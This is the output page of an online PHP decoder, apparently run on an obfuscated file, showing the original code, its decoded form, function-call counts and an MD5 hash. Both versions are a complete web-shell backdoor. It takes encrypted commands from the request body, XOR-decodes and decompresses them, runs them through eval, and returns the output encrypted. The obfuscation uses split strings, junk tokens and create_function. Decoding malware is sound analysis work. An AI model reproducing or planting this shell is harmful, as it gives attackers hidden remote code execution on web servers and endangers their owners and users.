Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $X='S.=$t{$i}^YS$k{$j}YS;}}reYSturn YS$o;}ifYS YS(@preg_mYSatch("/$kYSh(.+)$kfYS/YS..
Decoded Output download
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="72f0b3c6";$kh="d71e202cce28";$kf="cde81170744a";$p="RjyOV392TmRvcyu2";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
<?php
$X='S.=$t{$i}^YS$k{$j}YS;}}reYSturn YS$o;}ifYS YS(@preg_mYSatch("/$kYSh(.+)$kfYS/YS",@file_getYS_coYSntentYSs("php:YS//inp';
$Z=str_replace('VO','','creVOaVOtVOe_VOfunVOcVOtion');
$U='$k="72fYS0b3c6";$YSkYSh="d71YSe2YS02cce28";$kf=YS"cde81YS1707YS44a";$pYS="RjyOVYS392TYSmRvcyu2"YS;functYSionYSYS x($t,$k)';
$y='YSutYS"),$YSm)==YS1) {@ob_stYSaYSrt();@eYSval(@gzuncomYSpress(@x(@bYSase64YSYS_decodeYS(YS$m[1]),$k)));$o=@YSob_getYSY';
$C='{$c=sYStrlen($YSk);$l=sYStrlYSen(YS$t);$o="";forYSYS($i=0;$iYS<$lYS;){for($jYS=0YS;($j<$c&&$i<$lYS)YS;$j++,$i++YS){$oY';
$B='S_coYSntents();@ob_enYSd_cleanYS();$YSr=@bYSaseYS64_encode(@x(YS@gzcoYSmpresYSYSs($o),$YSk));prinYSt("$p$kYSh$r$kf");}';
$F=str_replace('YS','',$U.$C.$X.$y.$B);
$I=$Z('',$F);$I();
?>
Function Calls
preg_match | 1 |
str_replace | 2 |
create_function | 1 |
file_get_contents | 1 |
Stats
MD5 | ecb9a22f5e989412af8f0a0c6e70d90d |
Eval Count | 1 |
Decode Time | 88 ms |